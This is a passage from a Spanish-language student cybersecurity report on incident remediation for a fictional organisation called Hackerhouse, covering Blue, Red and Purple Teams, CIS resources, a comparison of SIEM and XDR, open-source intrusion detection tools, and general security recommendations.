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Se procede a eliminar cualquier malware presente en el sistema y a cerrar las
vulnerabilidades que hayan sido explotadas por el atacante. Esto implica la
limpieza de archivos maliciosos, la aplicaciéon de parches de seguridad y la
implementacion de controles adicionales para prevenir futuros ataques.

Una vez que se ha contenido el incidente, se realiza un andlisis exhaustivo para
identificar las causas subyacentes del ataque y extraer las lecciones aprendidas.
Esto contribuye a mejorar las defensas de seguridad de la organizacion
Hackerhouse y a prevenir futuros incidentes similares.

6.2 ; COMO SUBSANAR EL SISTEMA ANTE EL EVENTO DEL PAYLOAD?

Se detalla un procedimiento paso a paso destinado a asegurar y eliminar el
ataque informéatico, basado en el escenario ejecutado en la etapa 4. El objetivo
primordial es recuperar la seguridad y la integridad del sistema que ha sido
comprometido.

Pasos a sequir:

1.

2.

Desconectar la computadora afectada de la red para evitar una mayor
propagacion del ataque.

Apagar la computadora afectada con el fin de interrumpir cualquier actividad
maliciosa en curso.

Llevar a cabo un analisis exhaustivo de los registros del sistema para identificar
la naturaleza y el alcance del ataque.

Detectar cualquier archivo sospechoso, proceso en ejecucibn o
comportamiento inusual en el sistema comprometido.

Determinar el método utilizado para llevar a cabo el ataque, ya sea mediante
la descarga de malware, aprovechando vulnerabilidades de software o
mediante ingenieria social, entre otros.

En caso de ser factible, restaurar el sistema desde una copia de seguridad
reciente para eliminar cualquier rastro del ataque y recuperar la funcionalidad
normal del sistema.

Aplicar todas las actualizaciones de seguridad disponibles para el sistema

operativo y el software instalado, con el propésito de corregir posibles
vulnerabilidades utilizadas en el ataque.
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8. Utilizar herramientas de escaneo de malware actualizadas para buscar y
eliminar cualquier software malicioso persistente o archivos dafinos que
puedan haber quedado en el sistema comprometido.

9. Revisar y fortalecer las politicas de seguridad de Hackerhouse, incluyendo la
implementacion de controles de acceso mas estrictos, activacion de firewall y
configuracion de reglas de seguridad.

10.Proporcionar capacitacion adicional sobre seguridad cibernética a los
empleados para mejorar su conciencia y capacidad para identificar y prevenir
ataques futuros.

11.Implementar un sistema de monitoreo continuo para detectar y responder
rapidamente a cualquier actividad sospechosa en el futuro.

Conclusioén

12.El aseguramiento y erradicacién de un ataque informatico requiere un enfoque
integral que combine medidas proactivas y reactivas. Siguiendo estos pasos,
es posible restablecer la seguridad del sistema comprometido y fortalecer las
defensas para evitar incidentes similares en el futuro.

6.3 ¢ QUE DIFERENCIA EXISTEN ENTRE LOS EQUIPOS ANTES MENCIONADOS
CON EL PURPLE TEAM Y EQUIPOS DE RESPUESTA A INCIDENTES
INFORMATICOS?

Blue Team: Este equipo se dedica principalmente a salvaguardar los sistemas de una
organizacién. Su enfoque se centra en la prevencién, deteccion y respuesta a las
amenazas cibernéticas mediante la implementacion de medidas de seguridad, monitoreo
constante de la red y analisis forense para identificar posibles riesgos.

Red Team: Por otro lado, el Red Team se encarga de emular ataques cibernéticos
simulados contra la infraestructura de la organizacion. Utilizan tacticas de hacking ético
para poner a prueba las defensas de seguridad, identificando asi vulnerabilidades y
puntos débiles que necesitan ser mejorados.

Purple Team: El equipo Purple Team actua como un facilitador de colaboracion entre el
Blue Team y el Red Team. Su principal objetivo es mejorar la cooperacion y la
comunicacion entre ambos equipos. Esto se logra mediante la realizacion de ejercicios
conjuntos en los que el Purple Team supervisa y coordina la interaccion entre los equipos
Blue y Red, fomentando asi el intercambio de conocimientos y la mejora continua de la
seguridad.
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Se enfoca en fortalecer la defensa cibernética de la organizacion al promover la
colaboracion y el intercambio de informacion entre los equipos encargados de la defensa
y la simulacion de ataques.

Equipos de respuesta a incidentes informaticos: Los equipos de respuesta a
incidentes informaticos son responsables de gestionar los incidentes de seguridad
cibernética una vez que han ocurrido. Su funcion principal es detectar, contener,
investigar y mitigar los incidentes de seguridad, asi como coordinar la respuesta y la
recuperacion.

Los CSIRT trabajan en estrecha colaboracién con otros equipos de seguridad, incluidos
el Blue Team, el Red Team y el Purple Team, para garantizar una respuesta efectiva y
coordinada a los incidentes de seguridad cibernética.

6.4 ; QUE FUNCION TIENE CIS “CENTER FOR INTERNET SECURITY” DENTRO
DE EQUIPOS BLUE TEAM?

El Centro de Seguridad en Internet (CIS) es una organizacién sin animo de lucro que
tiene como objetivo mejorar la seguridad cibernética a nivel global. Su enfoque principal
€S proporcionar recursos y orientaciones practicas para fortalecer las defensas en linea
de las organizaciones.

Funcién de CIS en los equipos Blue Team:

CIS juega un papel esencial en el fortalecimiento de las defensas cibernéticas de los
equipos Blue Team al proporcionar directrices, mejores practicas y recursos especificos.
Esto incluye el establecimiento de estandares de seguridad, guias para una configuracion
segura y herramientas de evaluacion de seguridad.

Coémo opera CIS:

CIS ofrece una amplia gama de recursos, tanto gratuitos como de pago, que estan
disponibles para organizaciones, profesionales de ciberseguridad y publico en general.
Estos recursos incluyen Benchmarks de seguridad, que establecen configuraciones
recomendadas para mejorar la seguridad de sistemas operativos, aplicaciones y
dispositivos de red, asi como Controles de seguridad CIS, que ofrecen medidas
especificas para proteger los sistemas contra amenazas conocidas. Ademas, CIS
proporciona herramientas de evaluacién de seguridad y guias detalladas para la
implementacion de medidas de seguridad en diversos entornos tecnologicos.

Como encontrar los tutoriales de CIS:

Para acceder a los recursos y tutoriales de CIS, se puede visitar su sitio web oficial en
https://www.cisecurity.org/. Una vez alli, se puede explorar las diferentes secciones del
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sitio para encontrar Benchmarks de seguridad, guias de configuracion segura y
herramientas de evaluacion de seguridad. También se puede utilizar la funcion de
busqueda del sitio para encontrar tutoriales especificos sobre temas de interés, como
configuracion segura de Windows o précticas recomendadas para proteccion contra
malware. Ademas, si se desea acceder a recursos adicionales y evaluaciones de
seguridad automatizadas, se puede registrar en la plataforma CIS Controls Assessment

Tool (CIS-CAT).

6.5 TABLA DE DIFERENCIAS EXISTENTES ENTRE SIEM Y XDR.

Tabla 1. Diferencias entre SIEM y XDR

informacion y eventos de
seguridad, incluyendo logs y
datos de mdltiples fuentes.

Caracteristicas/ SIEM XDR
Funcion
Alcance Se enfoca en la gestion de Amplia su alcance mas alla de

la gestion de informacion y
eventos, integrando
capacidades de deteccion y
respuesta extendidas.

Fuente de datos | Recopila datos de registros
(logs) de una variedad de
fuentes, como sistemas,
aplicaciones, redes y
dispositivos de seguridad.

Ademas de datos de registros,
también puede recopilar datos
de telemetria, como endpoints,
correo electronico, nube, etc.

Funcionalidades | Ofrece funcionalidades como
correlaciéon de eventos,
generacion de informes, analisis
de comportamiento, gestion de
incidentes y cumplimiento

Incorpora capacidades
avanzadas de analisis de
amenazas, deteccion de
anomalias, respuesta
automatizada, caza de

gestion proactiva de la
seguridad, proporcionando
visibilidad sobre eventos y
actividades sospechosas.

normativo. amenazas Yy visibilidad
ampliada.
Enfoque Se centra en la supervision y Adopta un enfoque mas

proactivo y automatizado,
utilizando analisis avanzados y
machine learning para
identificar amenazas
persistentes y avanzadas.

Arquitectura Por lo general, se despliega
como una solucion en las
instalaciones (on-premises) o
en la nube, con diferentes
niveles de escalabilidad y
personalizacion.

Puede ser una solucién nativa
en la nube o hibrida, que se
integra con diferentes fuentes
de datos y sistemas de
seguridad existentes.
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Integracion Puede integrarse con una Se integra con multiples
variedad de herramientas de soluciones de seguridad y
seguridad, como firewalls, herramientas de respuesta,
antivirus, sistemas de deteccion | facilitando la orquestacion y
de intrusiones, etc., para automatizacion de la respuesta
mejorar la visibilidad y la ante amenazas.
respuesta ante incidentes.

Contexto y Proporciona contexto limitado Ofrece una correlaciéon mas

Correlacion sobre eventos de seguridad, lo | avanzada y contextualizada de
que requiere analisis manual eventos, lo que facilita la
para identificar relaciones entre | identificacion de amenazas
incidentes. complejas y la reduccién de

falsos positivos.

Madurez Es una tecnologia estableciday | XDR es una evolucién mas
ampliamente adoptada en el reciente en el panorama de
campo de la ciberseguridad, seguridad cibernética, aun en
con multiples proveedores y proceso de adopcion y
soluciones disponibles. desarrollo por parte de la

industria.

Fuente: Propia

6.6 HERRAMIENTAS DE DETECCION DE ATAQUES INFORMATICOS CON
LICENCIA GPL.

SNORT: Herramienta de deteccion de intrusiones en red (NIDS) de cédigo abierto muy
conocida y licenciada bajo GPL. Su funcién principal consiste en examinar el trafico de
red en busca de comportamientos sospechosos mediante el uso de reglas predefinidas.
Esta herramienta tiene la capacidad de identificar una variedad de ataques, desde
escaneos de puertos hasta intrusiones en la red, proporcionando asi una capa extra de
seguridad para las redes informaticas.

SURICATA: NIDS de cdédigo abierto bajo licencia GPL, destaca por su avanzada
capacidad de deteccion de amenazas. Al igual que Snort, Suricata utiliza reglas y analisis
de comportamiento para identificar actividades sospechosas en el trafico de red. Su alto
rendimiento y escalabilidad lo hacen adecuado para entornos de red con un alto volumen
de trafico, ofreciendo una deteccion de intrusiones efectiva y una respuesta rapida a los
incidentes.

BRO (ZEEK): Se presenta como una plataforma de analisis de trafico de red de codigo
abierto que opera bajo licencia GPL. Aunque su funcionalidad no se limita unicamente a
la deteccidn de intrusiones, Zeek es altamente eficaz en este aspecto al examinar el
trafico de red en busca de patrones andmalos o maliciosos. Ademas de la deteccidon de
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intrusiones, Zeek puede generar registros detallados que facilitan la investigacion y
respuesta a los incidentes de seguridad.

7. RECOMENDACIONES Y POLITICAS DE MEJORAR PARA LA
CIBERSEGURIDAD

-Establecer directrices rigurosas sobre contrasefias: Desarrollar politicas que requieran
contrasefas complejas, con longitud minima y cambios periddicos para garantizar la
seguridad de los accesos.

-Educar al personal en cuestiones de seguridad digital: Brindar capacitacion para
concientizar al personal sobre las amenazas cibernéticas y como responder ante ellas,
disminuyendo asi el riesgo de ser victimas de ataques de ingenieria social como el
phishing.

-Mantener actualizado el software: Implementar un sistema para gestionar
actualizaciones de seguridad y parches, asegurando que todos los sistemas estén
protegidos contra vulnerabilidades conocidas.

-Manejar de manera apropiada los accesos y los privilegios: Restringir el acceso a
informacion confidencial unicamente a aquellos empleados que lo requieran y asignar
privilegios conforme a sus roles y responsabilidades, lo que disminuye la exposicion de
datos.

-Implementar tecnologias de seguridad avanzadas: Emplear soluciones como
cortafuegos de ultima generacion, sistemas de deteccion y respuesta de puntos finales
(EDR) y herramientas de gestion de eventos e informacion de seguridad (SIEM) para
defenderse contra amenazas cibernéticas.

-Ejecutar auditorias de seguridad periodicas: Realizar evaluaciones internas y externas
para descubrir vulnerabilidades y medir la efectividad de las medidas de seguridad
implementadas, permitiendo asi mejorar de manera constante la seguridad.

-Establecer un plan de acciéon ante incidentes: Elaborar un plan pormenorizado que
establezca los pasos a seguir en caso de que se produzca una violacién de seguridad,
incluyendo la notificacién a las autoridades y la coordinacion de acciones para mitigar las
consecuencias.-Evaluar proveedores externos: Realizar una evaluacion exhaustiva de
los proveedores de servicios externos en términos de seguridad cibernética antes de
compartir informacion confidencial, asegurando asi su proteccion.
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Proteger la informacion mediante cifrado: Introducir la encriptacion de extremo a extremo
como medida para resguardar los datos sensibles tanto durante su transporte como en
su almacenamiento, asegurando asi la integridad y privacidad de la informacién.

Promover una cultura de seguridad: Estimular un entorno organizacional donde se
aprecie la importancia de la seguridad cibernética, alentando a todos los integrantes del
equipo a informar sobre actividades sospechosas y a participar activamente en la defensa
de los activos de la organizacion contra las amenazas digitales.
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CONCLUSIONES

La importancia de los Equipos Red Team y Blue Team en la seguridad cibernética de una
organizacion es indiscutible. Sin embargo, es crucial que estas unidades operen dentro
de un marco ético y legal solido para asegurar que sus acciones no comprometan la
integridad de la organizacion ni violen la privacidad de los individuos. La transparencia,
el consentimiento informado y el cumplimiento de las normativas legales son principios
fundamentales para llevar a cabo estas actividades de manera responsable y efectiva.

En el contexto actual, las organizaciones son cada vez mas conscientes de la necesidad
de invertir en la formacién y establecimiento de equipos Red Team y Blue Team. La
seguridad de estas entidades implica no solo la deteccion y defensa contra ataques, sino
también la capacidad de recuperacion rapida después de un incidente. Es esencial
reconocer que la capacitacion continua y el entrenamiento son elementos esenciales para
mantener al personal de estos equipos actualizado respecto a las ultimas amenazas y
tacticas de ataque.

Los equipos Red Team y Blue Team deben operar dentro de limites legales y éticos claros,
cumpliendo con todas las leyes y regulaciones aplicables. Es crucial centrarse en estos
principios tanto en el ambito profesional como en la vida cotidiana. Conocer la legislacion
vigente y ser conscientes de que nuestras acciones pueden tener consecuencias
drasticas es fundamental para preservar nuestra libertad, vida y desempefio profesional.

Es esencial que las organizaciones comprendan que las amenazas cibernéticas
evolucionan constantemente. Por lo tanto, deben trabajar de manera colaborativa,
compartiendo conclusiones, experiencias y técnicas utilizadas. La implementacion de
procesos efectivos de investigacion e intercambio de informacién es crucial para
garantizar una respuesta rapida y efectiva ante incidentes cibernéticos. La colaboracién
entre equipos y organizaciones fortalece la postura de seguridad y contribuye a la
proteccion colectiva contra las amenazas digitales en constante evolucion.

La colaboracién y el intercambio de informacién entre equipos Red Team y Blue Team,
asi como con otras organizaciones del sector, son elementos clave para una respuesta
eficaz ante las amenazas cibernéticas en constante evolucion. Esta colaboracién permite
identificar tendencias emergentes, compartir mejores practicas y desarrollar estrategias
de defensa mas sélidas y adaptables.

La conciencia sobre ciberseguridad y la educacion continua son aspectos fundamentales
tanto para los equipos especializados como para el personal en general dentro de una
organizacion. A través de programas de capacitacion y concienciacion, se puede
fomentar una cultura de seguridad que involucre a todos los miembros de la organizacion
en la proteccion de los activos digitales y la mitigacion de riesgos cibernéticos.
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La evaluacion y mejora continua de las politicas y procedimientos de seguridad
cibernética son esenciales para mantener la eficacia y relevancia en un entorno digital en
constante cambio. Mediante auditorias regulares, revisiones de politicas y analisis de
riesgos, las organizaciones pueden identificar areas de mejora y adaptarse a las nuevas
amenazas y tecnologias.
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RECOMENDACIONES

Fomentar la cooperacién y el flujo de informacion entre los equipos Red Team y Blue
Team, asi como con otras entidades del sector, con el fin de mejorar la respuesta ante
las amenazas cibernéticas en evolucion constante. Esta colaboracion facilita la
identificacion de nuevas tendencias y la formulacion de estrategias de defensa mas
flexibles.

Dar prioridad a la concienciacion sobre ciberseguridad y a la formacion continua tanto
para los equipos especializados como para todo el personal de la organizacion. A través
de programas de formacion y sensibilizacion, se puede fomentar una cultura de seguridad
que involucre a todos en la proteccion de los activos digitales.

Realizar evaluaciones regulares y continuas de las politicas y procedimientos de
seguridad cibernética para asegurar su eficacia y relevancia en un entorno digital en
constante cambio. Mediante auditorias periddicas y analisis de riesgos, las
organizaciones pueden identificar areas de mejora y adaptarse a las nuevas amenazas.

Implementar medidas de seguridad proactivas, como la segmentacion de redes y la
supervision constante, para prevenir ataques cibernéticos y mitigar su impacto en caso
de ocurrir. La inversion en tecnologias de seguridad avanzadas y la aplicacion de buenas
practicas de seguridad son fundamentales para proteger los activos digitales.

Desarrollar y mantener un plan de respuesta agil y eficiente ante incidentes cibernéticos,
con roles y responsabilidades claramente definidos dentro del equipo de respuesta. Esto
ayudara a minimizar el tiempo de inactividad y reducir el impacto en la operatividad de la
organizacion en caso de incidente.

Fomentar una cultura de seguridad cibernética en toda la organizacién, donde la
responsabilidad por la ciberseguridad sea compartida por todos los niveles, desde la alta
direccion hasta los empleados de nivel operativo. Esto contribuira a fortalecer la postura
de seguridad de manera integral.
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ANEXOS

Link del Video: https://youtu.be/gzMameX5tns
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